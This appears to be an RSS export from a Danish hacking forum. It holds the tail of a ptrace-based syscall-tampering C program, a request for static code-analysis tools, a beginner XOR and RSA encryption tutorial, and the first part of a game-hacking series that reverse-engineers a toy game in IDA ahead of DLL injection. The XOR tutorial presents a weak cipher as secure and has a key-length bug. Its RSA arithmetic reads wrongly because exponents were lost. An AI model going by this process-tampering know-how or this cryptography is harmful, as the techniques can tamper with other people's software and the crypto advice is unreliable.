/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"PTRACE_POKEUSER&nbsp;fault&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">set&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #FF8000">//esc&nbsp;=&nbsp;ptrace(PTRACE_PEEKUSER,&nbsp;pid,&nbsp;8*ORIG_RAX,&nbsp;0);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;((</span><span style="color: #0000BB">esc&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">11</span><span style="color: #007700">)&nbsp;&amp;&amp;&nbsp;</span><span style="color: #0000BB">set</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_DETACH</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;for(;;)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">sleep</span><span style="color: #007700">(</span><span style="color: #0000BB">10000</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">ptrace</span><span style="color: #007700">(</span><span style="color: #0000BB">PTRACE_SYSCALL</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">pid</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">1</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">)&nbsp;==&nbsp;-</span><span style="color: #0000BB">1</span><span style="color: #007700">)&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">printf</span><span style="color: #007700">(</span><span style="color: #DD0000">"PTRACE_SYSCALL&nbsp;fault&#092;n"</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;exit(</span><span style="color: #0000BB">1</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">0</span><span style="color: #007700">;<br />}&nbsp;<br /></span></code></div></div></div>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[Automatiseret code auditing - Råd søges]]></title>
			<link>https://www.shellsec.pw/traad-automatiseret-code-auditing-raad-soeges</link>
			<pubDate>Fri, 13 Feb 2015 05:47:31 +0100</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-automatiseret-code-auditing-raad-soeges</guid>
			<description><![CDATA[Jeg ved ikke om der er andre end mig, der har en interesse for dette, men jeg forsøger at udvide mit sortiment af små scripts og tools til at kontrollere kode for småfejl.<br />
De finder selvfølgelig ikke alt, men er gode til at finde småting som underruns, overruns, off-by-one, format string bugs etc.<br />
<br />
Er der nogen af jer, der kender nogle tools, designet til C eller C++?<br />
I behover ikke nødvendigvis have erfaring med dem. Jeg skal nok selv læse op på dem. :)<br />
<br />
Jeg er sådan set også interesseret i sådanne tools til andre sprog, men primært C/C++, og derfor er tråden lavet i denne sektion.<br />
<br />
Inspiration: <a href="http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis" target="_blank" rel="noopener" class="mycode_url">wikipedia - List of tools for static code analysis</a>]]></description>
			<content:encoded><![CDATA[Jeg ved ikke om der er andre end mig, der har en interesse for dette, men jeg forsøger at udvide mit sortiment af små scripts og tools til at kontrollere kode for småfejl.<br />
De finder selvfølgelig ikke alt, men er gode til at finde småting som underruns, overruns, off-by-one, format string bugs etc.<br />
<br />
Er der nogen af jer, der kender nogle tools, designet til C eller C++?<br />
I behover ikke nødvendigvis have erfaring med dem. Jeg skal nok selv læse op på dem. :)<br />
<br />
Jeg er sådan set også interesseret i sådanne tools til andre sprog, men primært C/C++, og derfor er tråden lavet i denne sektion.<br />
<br />
Inspiration: <a href="http://en.wikipedia.org/wiki/List_of_tools_for_static_code_analysis" target="_blank" rel="noopener" class="mycode_url">wikipedia - List of tools for static code analysis</a>]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[C/C++ lille introduktion til Xor kryptering]]></title>
			<link>https://www.shellsec.pw/traad-c-c-lille-introduktion-til-xor-kryptering</link>
			<pubDate>Wed, 23 Jul 2014 14:43:06 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-c-c-lille-introduktion-til-xor-kryptering</guid>
			<description><![CDATA[Vil i nær fremtid smide et par tråde op omkring kryptering samt netværk. Spørg endelig hvis i har et emne, I gerne vil have taget op!<br />
<br />
<div style="text-align: center;" class="mycode_align">
<span style="font-size: xx-large;" class="mycode_size">Introduktion til <span style="color: #32CD32;" class="mycode_color">Xor</span></span><br />
<img src="http://webassignwired.files.wordpress.com/2013/04/physics-meme.png" alt="[Billede: physics-meme.png]" class="mycode_img" /></div>
<br />
Allerførst, jeg vil forsøge at skære det meste ud i pap, så selv lycia-slænget har en chance.<br />
<br />
<span style="font-size: medium;" class="mycode_size">Hvad skal jeg bruge det til?</span><br />
Enhver programmør vil på et eller andet tidspunkt kommer ud for, at skulle behandle sensitiv data. Men udover at kryptere data for at beskytte mod sniffing data leaks .o.l., kan kryptering anvendes til mange andre formål. Lad os forestille os, at vi har lavet et server-klient login-system. Systemet skal være sikkert, så man får et nyt kodeord, hvergang man logger ind (ligesom nemid). Systemet ser således ud:<br />
<ol type="1" class="mycode_list"><li>Serveren sender chipertekst (krypterede string) til klienten<br />
</li>
<li>Klienten dekryptere til den oprindelig string<br />
</li>
<li>Klienten returnerer den oprindelige string til serveren<br />
</li>
<li>Serveren afslutter med at checke, om den returnerede string er tilsvarende den oprindelige.<br />
</li>
</ol>
Overstående er muligvis et dårligt eksempel, men you get the point...<br />
En anden mulighed til et lign. system, kunne laves ved at benytte assymetriske krypteringsalgoritmer. Assymetriske chipers bruger en key til at kryptere, og en anden til at dekryptere. Jeg vil dog komme ind på en lidt simplere krypteringsalgoritme, også kaldet chiper, kaldet Xor. Fordelen ved Xor er, at det er meget nemt at forstå, og ikke kræver meget forhåndsviden, før man kan gå i gang.<br />
<br />
<span style="font-size: medium;" class="mycode_size">Hvad er kryptering?</span><br />
Kryptering har til formål at omdanne data til en 'ulæsbar' version, der umuliggør, at den oprindelige data kan læses uden brug af den modsatte process, der indebærer at man har den originale nøgle.<br />
<br />
En krypteringsalgoritme eller cipher, skal egentlig bare betragtes som en hvilken som helst anden algoritme. Altså, en slags opskrift på, hvordan noget skal håndteres. Lad os kigge på RSA algoritmen:<br />
<br />
p = 3 and q = 11 // <span style="color: #FF1493;" class="mycode_color">Vælg to primtal</span><br />
n = p * q = 3 * 11 = 33 // <span style="color: #FF1493;" class="mycode_color">Beregn</span><br />
φ(n) = (p - 1) * (q - 1) = 2 * 10 = 20 // <span style="color: #FF1493;" class="mycode_color">Beregn</span><br />
e = 7 // <span style="color: #FF1493;" class="mycode_color">e skal være 1&lt;e&lt; φ(n) og e samt n er indbyrdes primisk</span><br />
// <span style="color: #FF1493;" class="mycode_color">Bestem end værdi hvor (d * e) % φ(n) = 1.</span><br />
//<span style="color: #FF1493;" class="mycode_color"> F.eks. d = 3 [(3 * 7) % 20 = 1]<br />
</span>(e, n) =&gt; (7, 33) // <span style="color: #FF1493;" class="mycode_color">Public key</span><br />
(d, n) =&gt; (3, 33) // <span style="color: #FF1493;" class="mycode_color">Private key</span><br />
m = 2 is c = 27 % 33 = 29 // <span style="color: #FF1493;" class="mycode_color">Encrypting</span><br />
c = 29 is m = 293 % 33 = 2 // <span style="color: #FF1493;" class="mycode_color">Decryption</span><br />
<br />
Overstående eksempel var mest for at forklare en algoritme, og ikke et forsøg på, at lære jer hvordan RSA algoritmen fungerer. For at lave et par RSA keys, skal man altså bare følge 'opskriften'. <br />
<br />
<span style="font-size: medium;" class="mycode_size">Hvordan virker Xor?</span><br />
Som en start kan jeg afsløre, at chiperen ikke kun hedder Xor, fordi det lyder |337!1. Xor er et sammendrag af "exclusive or", og er en bitwise boolean operator i C++. Den kan altså returnere TRUE eller FALSE. Hvis den ene Xor gate er TRUE og den anden er FALSE, i vilkårlig rækkefølge, returneres altid TRUE. Hvis begge er TRUE eller False Returneres FALSE.<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>|0||0|=|0| // FALSE<br />
|1||0|=|1| // TRUE<br />
|0||1|=|1| // TRUE<br />
|1||1|=|0| // FALSE</code></div></div><br />
Men hvordan kan vi bruge det til at kryptere noget? Lad os forestille os, at vi ville kryptere bogstavet 'P'. 'P's' ascii værdi er 80. Vi skriver 80 om til det binære talsystem (2-tals) , i stedet for det decimale (10 tals).<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>P--&gt;80--&gt;1010000<br />
chr&nbsp;&nbsp;ascii&nbsp;&nbsp;binært</code></div></div><br />
Vi finder et bogstav, vi vil anvende som "nøgle".<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>A--&gt;65--&gt;1000001<br />
chr&nbsp;&nbsp;ascii&nbsp;&nbsp;binært</code></div></div><br />
Tror egentlig ikke jeg behøver forklare det her...<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>1010000 // P<br />
1000001 // A Nøgle<br />
-------- // Xor<br />
0010001 // ASCII 17</code></div></div><br />
For at dekryptere vores bogstav igen, gør vi det samme.<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>0010001 // ASCII 17</code></div></div>1000001 // A Nøgle<br />
-------- // Xor<br />
1010000 // P<br />
[/code]<br />
<br />
TADA! Simpelt? Prøv selv!<br />
<br />
Hvis vi ville have krypteret et ord eller end string, havde vi benyttet samme fremgangsmåde, bare med alle tegn.<br />
<br />
<span style="font-size: medium;" class="mycode_size">Xor i C++</span><br />
I C++ er Xor operatoren '^' tegnet. Lad os starte med, at kryptere og dekryptere en variabel af 'char' data typen.<br />
<br />
<pre class="line-numbers"><code class="language-cpp">#include &lt;iostream&gt;<br />
<br />
int main()<br />
{<br />
    char cryptthis;<br />
    char key;<br />
<br />
    std::cout &lt;&lt; "Char to encrypt: ";<br />
    std::cin &gt;&gt; cryptthis;<br />
    std::cout &lt;&lt; "Key: ";<br />
    std::cin &gt;&gt; key;<br />
<br />
    cryptthis ^=key; // Xor operation. Præcis som vi gjorde det manuelt.<br />
    std::cout &lt;&lt; "The encrypted character is: " &lt;&lt; cryptthis ;<br />
<br />
    cryptthis ^=key; // Som nævnt dekryptere vi på samme måde.<br />
    std::cout &lt;&lt; "\nThe decrypted character is: " &lt;&lt; cryptthis;<br />
<br />
    return 1337;<br />
}<br />
</code></pre>
Hvis vi skulle gøre dette ved en string, er alt vi behøver, som førnævnt at 'køre' det hele igennem. Lad os slutte af med, at lave et program med en Xor encrypt / decrypt function.<br />
<br />
<pre class="line-numbers"><code class="language-cpp">/*<br />
Prepare for slamkode!<br />
*/<br />
#include &lt;iostream&gt;<br />
#include &lt;string&gt;<br />
using namespace std;<br />
<br />
string XOREnc(string str, string key)<br />
{<br />
    string enc("");<br />
for (unsigned int i=0; i &lt; str.length(); i++) // Her checker vi hele stringen igennem ligesom vi gjorde manuelt. Læg mærke til, at vi en string som key.<br />
        enc += str[i] ^ key[i % (sizeof(key) / sizeof(char))]; // Kan i se problemet? Hvis key&lt;str. Lille øvelse til jer.<br />
    return enc;<br />
}<br />
<br />
int main() <br />
{<br />
    string str, encrypted, decrypted, key;<br />
    cin &gt;&gt; str;<br />
    cin &gt;&gt; key;<br />
    encrypted = XOREnc(str, key);<br />
    decrypted = XOREnc(encrypted, key); // Vi kan som sagt benytte samme function til dekryptering.<br />
    cout &lt;&lt; "Encrypted string: " &lt;&lt; encrypted &lt;&lt; endl;<br />
    cout &lt;&lt; "Decrypted string: " &lt;&lt; decrypted;<br />
    return 1337;<br />
}<br />
</code></pre>
Så let kan kryptering være.<br />
<hr class="mycode_hr" />
Blev skrevet i går kl. 3 :D. Kan godt være jeg kommer til at rette lidt i den...]]></description>
			<content:encoded><![CDATA[Vil i nær fremtid smide et par tråde op omkring kryptering samt netværk. Spørg endelig hvis i har et emne, I gerne vil have taget op!<br />
<br />
<div style="text-align: center;" class="mycode_align">
<span style="font-size: xx-large;" class="mycode_size">Introduktion til <span style="color: #32CD32;" class="mycode_color">Xor</span></span><br />
<img src="http://webassignwired.files.wordpress.com/2013/04/physics-meme.png" alt="[Billede: physics-meme.png]" class="mycode_img" /></div>
<br />
Allerførst, jeg vil forsøge at skære det meste ud i pap, så selv lycia-slænget har en chance.<br />
<br />
<span style="font-size: medium;" class="mycode_size">Hvad skal jeg bruge det til?</span><br />
Enhver programmør vil på et eller andet tidspunkt kommer ud for, at skulle behandle sensitiv data. Men udover at kryptere data for at beskytte mod sniffing data leaks .o.l., kan kryptering anvendes til mange andre formål. Lad os forestille os, at vi har lavet et server-klient login-system. Systemet skal være sikkert, så man får et nyt kodeord, hvergang man logger ind (ligesom nemid). Systemet ser således ud:<br />
<ol type="1" class="mycode_list"><li>Serveren sender chipertekst (krypterede string) til klienten<br />
</li>
<li>Klienten dekryptere til den oprindelig string<br />
</li>
<li>Klienten returnerer den oprindelige string til serveren<br />
</li>
<li>Serveren afslutter med at checke, om den returnerede string er tilsvarende den oprindelige.<br />
</li>
</ol>
Overstående er muligvis et dårligt eksempel, men you get the point...<br />
En anden mulighed til et lign. system, kunne laves ved at benytte assymetriske krypteringsalgoritmer. Assymetriske chipers bruger en key til at kryptere, og en anden til at dekryptere. Jeg vil dog komme ind på en lidt simplere krypteringsalgoritme, også kaldet chiper, kaldet Xor. Fordelen ved Xor er, at det er meget nemt at forstå, og ikke kræver meget forhåndsviden, før man kan gå i gang.<br />
<br />
<span style="font-size: medium;" class="mycode_size">Hvad er kryptering?</span><br />
Kryptering har til formål at omdanne data til en 'ulæsbar' version, der umuliggør, at den oprindelige data kan læses uden brug af den modsatte process, der indebærer at man har den originale nøgle.<br />
<br />
En krypteringsalgoritme eller cipher, skal egentlig bare betragtes som en hvilken som helst anden algoritme. Altså, en slags opskrift på, hvordan noget skal håndteres. Lad os kigge på RSA algoritmen:<br />
<br />
p = 3 and q = 11 // <span style="color: #FF1493;" class="mycode_color">Vælg to primtal</span><br />
n = p * q = 3 * 11 = 33 // <span style="color: #FF1493;" class="mycode_color">Beregn</span><br />
φ(n) = (p - 1) * (q - 1) = 2 * 10 = 20 // <span style="color: #FF1493;" class="mycode_color">Beregn</span><br />
e = 7 // <span style="color: #FF1493;" class="mycode_color">e skal være 1&lt;e&lt; φ(n) og e samt n er indbyrdes primisk</span><br />
// <span style="color: #FF1493;" class="mycode_color">Bestem end værdi hvor (d * e) % φ(n) = 1.</span><br />
//<span style="color: #FF1493;" class="mycode_color"> F.eks. d = 3 [(3 * 7) % 20 = 1]<br />
</span>(e, n) =&gt; (7, 33) // <span style="color: #FF1493;" class="mycode_color">Public key</span><br />
(d, n) =&gt; (3, 33) // <span style="color: #FF1493;" class="mycode_color">Private key</span><br />
m = 2 is c = 27 % 33 = 29 // <span style="color: #FF1493;" class="mycode_color">Encrypting</span><br />
c = 29 is m = 293 % 33 = 2 // <span style="color: #FF1493;" class="mycode_color">Decryption</span><br />
<br />
Overstående eksempel var mest for at forklare en algoritme, og ikke et forsøg på, at lære jer hvordan RSA algoritmen fungerer. For at lave et par RSA keys, skal man altså bare følge 'opskriften'. <br />
<br />
<span style="font-size: medium;" class="mycode_size">Hvordan virker Xor?</span><br />
Som en start kan jeg afsløre, at chiperen ikke kun hedder Xor, fordi det lyder |337!1. Xor er et sammendrag af "exclusive or", og er en bitwise boolean operator i C++. Den kan altså returnere TRUE eller FALSE. Hvis den ene Xor gate er TRUE og den anden er FALSE, i vilkårlig rækkefølge, returneres altid TRUE. Hvis begge er TRUE eller False Returneres FALSE.<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>|0||0|=|0| // FALSE<br />
|1||0|=|1| // TRUE<br />
|0||1|=|1| // TRUE<br />
|1||1|=|0| // FALSE</code></div></div><br />
Men hvordan kan vi bruge det til at kryptere noget? Lad os forestille os, at vi ville kryptere bogstavet 'P'. 'P's' ascii værdi er 80. Vi skriver 80 om til det binære talsystem (2-tals) , i stedet for det decimale (10 tals).<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>P--&gt;80--&gt;1010000<br />
chr&nbsp;&nbsp;ascii&nbsp;&nbsp;binært</code></div></div><br />
Vi finder et bogstav, vi vil anvende som "nøgle".<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>A--&gt;65--&gt;1000001<br />
chr&nbsp;&nbsp;ascii&nbsp;&nbsp;binært</code></div></div><br />
Tror egentlig ikke jeg behøver forklare det her...<br />
<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>1010000 // P<br />
1000001 // A Nøgle<br />
-------- // Xor<br />
0010001 // ASCII 17</code></div></div><br />
For at dekryptere vores bogstav igen, gør vi det samme.<br />
<div class="codeblock"><div class="title">Kode:</div><div class="body" dir="ltr"><code>0010001 // ASCII 17</code></div></div>1000001 // A Nøgle<br />
-------- // Xor<br />
1010000 // P<br />
[/code]<br />
<br />
TADA! Simpelt? Prøv selv!<br />
<br />
Hvis vi ville have krypteret et ord eller end string, havde vi benyttet samme fremgangsmåde, bare med alle tegn.<br />
<br />
<span style="font-size: medium;" class="mycode_size">Xor i C++</span><br />
I C++ er Xor operatoren '^' tegnet. Lad os starte med, at kryptere og dekryptere en variabel af 'char' data typen.<br />
<br />
<pre class="line-numbers"><code class="language-cpp">#include &lt;iostream&gt;<br />
<br />
int main()<br />
{<br />
    char cryptthis;<br />
    char key;<br />
<br />
    std::cout &lt;&lt; "Char to encrypt: ";<br />
    std::cin &gt;&gt; cryptthis;<br />
    std::cout &lt;&lt; "Key: ";<br />
    std::cin &gt;&gt; key;<br />
<br />
    cryptthis ^=key; // Xor operation. Præcis som vi gjorde det manuelt.<br />
    std::cout &lt;&lt; "The encrypted character is: " &lt;&lt; cryptthis ;<br />
<br />
    cryptthis ^=key; // Som nævnt dekryptere vi på samme måde.<br />
    std::cout &lt;&lt; "\nThe decrypted character is: " &lt;&lt; cryptthis;<br />
<br />
    return 1337;<br />
}<br />
</code></pre>
Hvis vi skulle gøre dette ved en string, er alt vi behøver, som førnævnt at 'køre' det hele igennem. Lad os slutte af med, at lave et program med en Xor encrypt / decrypt function.<br />
<br />
<pre class="line-numbers"><code class="language-cpp">/*<br />
Prepare for slamkode!<br />
*/<br />
#include &lt;iostream&gt;<br />
#include &lt;string&gt;<br />
using namespace std;<br />
<br />
string XOREnc(string str, string key)<br />
{<br />
    string enc("");<br />
for (unsigned int i=0; i &lt; str.length(); i++) // Her checker vi hele stringen igennem ligesom vi gjorde manuelt. Læg mærke til, at vi en string som key.<br />
        enc += str[i] ^ key[i % (sizeof(key) / sizeof(char))]; // Kan i se problemet? Hvis key&lt;str. Lille øvelse til jer.<br />
    return enc;<br />
}<br />
<br />
int main() <br />
{<br />
    string str, encrypted, decrypted, key;<br />
    cin &gt;&gt; str;<br />
    cin &gt;&gt; key;<br />
    encrypted = XOREnc(str, key);<br />
    decrypted = XOREnc(encrypted, key); // Vi kan som sagt benytte samme function til dekryptering.<br />
    cout &lt;&lt; "Encrypted string: " &lt;&lt; encrypted &lt;&lt; endl;<br />
    cout &lt;&lt; "Decrypted string: " &lt;&lt; decrypted;<br />
    return 1337;<br />
}<br />
</code></pre>
Så let kan kryptering være.<br />
<hr class="mycode_hr" />
Blev skrevet i går kl. 3 :D. Kan godt være jeg kommer til at rette lidt i den...]]></content:encoded>
		</item>
		<item>
			<title><![CDATA[[C++/ASM] GameHack 1/3 - Find funktionens adresse]]></title>
			<link>https://www.shellsec.pw/traad-c-asm-gamehack-1-3-find-funktionens</link>
			<pubDate>Tue, 17 Sep 2013 14:28:34 +0200</pubDate>
			<guid isPermaLink="false">https://www.shellsec.pw/traad-c-asm-gamehack-1-3-find-funktionens</guid>
			<description><![CDATA[<span style="font-size: medium;" class="mycode_size">Hvad går denne tutorial serie ud på?</span><br />
Vi har et spil hvor der er runder. En runde er hvor mob angriber player, og player angriber mob. Vi er player. Det er tilfældigt hvem der vinder. Vi vil dog gerne vinde hver gang. Derfor injecter vi en selvskreven DLL ind i processen, hvor vi nu kan kalde funktionen attackMob() ubegrænset, og vinde hvergang.<br />
<br />
Denne første del af GameHack serien, vil gå ud på at benytte reverse engineering til at opnå adressen på funktionen attackMob()<br />
Den næste del vil gå ud på at injecte en DLL i GameHack.<br />
Den sidste del vil være at skrive DLL'en så den kan benytte attackMob() funktionen så vi vinder hvergang<br />
<br />
<span style="text-decoration: underline;" class="mycode_u">Det første er vores mobGame. Læs det, og forstå det. Hvis du ikke forstår det får du ikke noget ud af resten af denne tutorial</span><br />
<div><div class="spoiler_header">mobGame.cpp <a href="javascript:void(0);" onclick="javascript:if(parentNode.parentNode.getElementsByTagName('div')[1].style.display=='block'){parentNode.parentNode.getElementsByTagName('div')[1].style.display='none';this.innerHTML='(Click to View)';}else {parentNode.parentNode.getElementsByTagName('div')[1].style.display='block';this.innerHTML='(Click to Hide)';}">(Click to View)</a></div><div class="spoiler_body" style="display: none;">
<pre class="line-numbers"><code class="language-cpp">#include &lt;iostream&gt;<br />
#include &lt;Windows.h&gt;<br />
#include &lt;cstdlib&gt;<br />
<br />
using namespace std;<br />
<br />
void attackPlayer();<br />
void attackMob();<br />
void initialize();<br />
<br />
struct playerInfo{<br />
	int life;<br />
	int damageFrom;<br />
	int damageTo;<br />
}mob, player;<br />
<br />
<br />
int main(char *args){<br />
<br />
	initialize();<br />
	int roundNum = 0;<br />
	while(true){<br />
		int choice;<br />
		cout &lt;&lt; "What to do? Attack(1) Forfeit(2): ";<br />
		cin &gt;&gt; choice;<br />
		if(choice == 1){<br />
			cout &lt;&lt; "Attacking!" &lt;&lt; endl;<br />
			cout &lt;&lt; "Round: " &lt;&lt; roundNum &lt;&lt; endl;<br />
			roundNum++;	<br />
			attackPlayer();<br />
			attackMob();<br />
		}else if(choice == 2){<br />
			break;<br />
		}<br />
	}<br />
}<br />
<br />
void initialize(){<br />
	mob.life = 200;<br />
	mob.damageFrom = 10;<br />
	mob.damageTo = 50;<br />
	player.life = 210;<br />
	player.damageFrom = 18;<br />
	player.damageTo = 25;<br />
<br />
}<br />
<br />
void attackPlayer(){<br />
	int diff = mob.damageTo - mob.damageFrom;<br />
	int damageC = rand() %  diff + mob.damageFrom;<br />
	cout &lt;&lt; "Mob has engaged in attacking player. Mob does " &lt;&lt; damageC &lt;&lt; " damage" &lt;&lt; endl;<br />
	player.life = player.life - damageC;<br />
	if(player.life &lt;= 0){<br />
		cout &lt;&lt; "Player died and mob won!";<br />
		int pauseVar;<br />
		cin &gt;&gt; pauseVar;<br />
		exit(1);<br />
	}<br />
	cout &lt;&lt; "Player life: " &lt;&lt; player.life &lt;&lt; endl;<br />
}<br />
<br />
void attackMob(){<br />
	int diff = player.damageTo - player.damageFrom;<br />
	int damageC = rand() %  diff + player.damageFrom;<br />
	cout &lt;&lt; "Player is attacking mob. Player does " &lt;&lt; damageC &lt;&lt; " damage" &lt;&lt; endl;<br />
	mob.life = mob.life - damageC;<br />
	if(mob.life &lt;= 0){<br />
		cout &lt;&lt; "Mob died and player won!";<br />
		int pauseVar;<br />
		cin &gt;&gt; pauseVar;<br />
		exit(1);<br />
	}<br />
	cout &lt;&lt; "Mob life: " &lt;&lt; mob.life &lt;&lt; endl;<br />
}<br />
<br />
<br />
<br />
</code></pre>
</div></div>
<br />
Jeg har compilet en version som i kan downloade her: <a href="https://mega.co.nz/#!WNph1Rra!HNQwn1ibkXkFmzGtun6ItA2qydJL-278EE9yOJGS-c4" target="_blank" rel="noopener" class="mycode_url">https://mega.co.nz/#!WNph1Rra!HNQwn1ibkX...E9yOJGS-c4</a><br />
Jeg vil anbefale jer at benytte denne version hvis i er helt nye på området. <br />
Hvis ikke kan i skrive lidt om i koden så der ændres lidt, så i selv skal tænke lidt mere.<br />
<br />
Da vores mål er at kunne angribe, uden at blive angrebet, skal vi finde funktionen som angriber mob. Denne kan vi hurtigt finde ved et kig på koden:<br />
<pre class="line-numbers"><code class="language-cpp">	cout &lt;&lt; "Attacking!" &lt;&lt; endl;<br />
			cout &lt;&lt; "Round: " &lt;&lt; roundNum &lt;&lt; endl;<br />
			roundNum++;	<br />
			attackPlayer();<br />
			attackMob();<br />
</code></pre>
funktionen som angriber mob er så attackMob()<br />
<br />
Det vi nu skal gøre er at finde ud af hvor denne funktion ligger i memory når programmet køres. Her vil vi benytte IDA.<br />
Vi starter IDA op og vælger at vi godt vil rode med vores egen fil(Go: Work on your own):<br />
<img src="http://puu.sh/4tyiY.jpg" alt="[Billede: 4tyiY.jpg]" class="mycode_img" /><br />
Herefter trækker du blot filen mobGame.exe ind i IDA<br />
<br />
Vi vil nu blive præsenteret for en anden skærm. Her trykker du blot "ok".<br />
<img src="http://puu.sh/4tykX.png" alt="[Billede: 4tykX.png]" class="mycode_img" /><br />
<br />
Vores .exe mobGame skulle nu gerne være loadet i IDA. Vælg graph view, da det efter min mening er det bedste(Højreklik midt i IDA og tryk graph view. Hvis muligheden ikke er der, er du allerede i graph view) <br />
Det vi gør nu er at kigge på de forskellige ting og ser om vi kan finde noget som giver mening.<br />
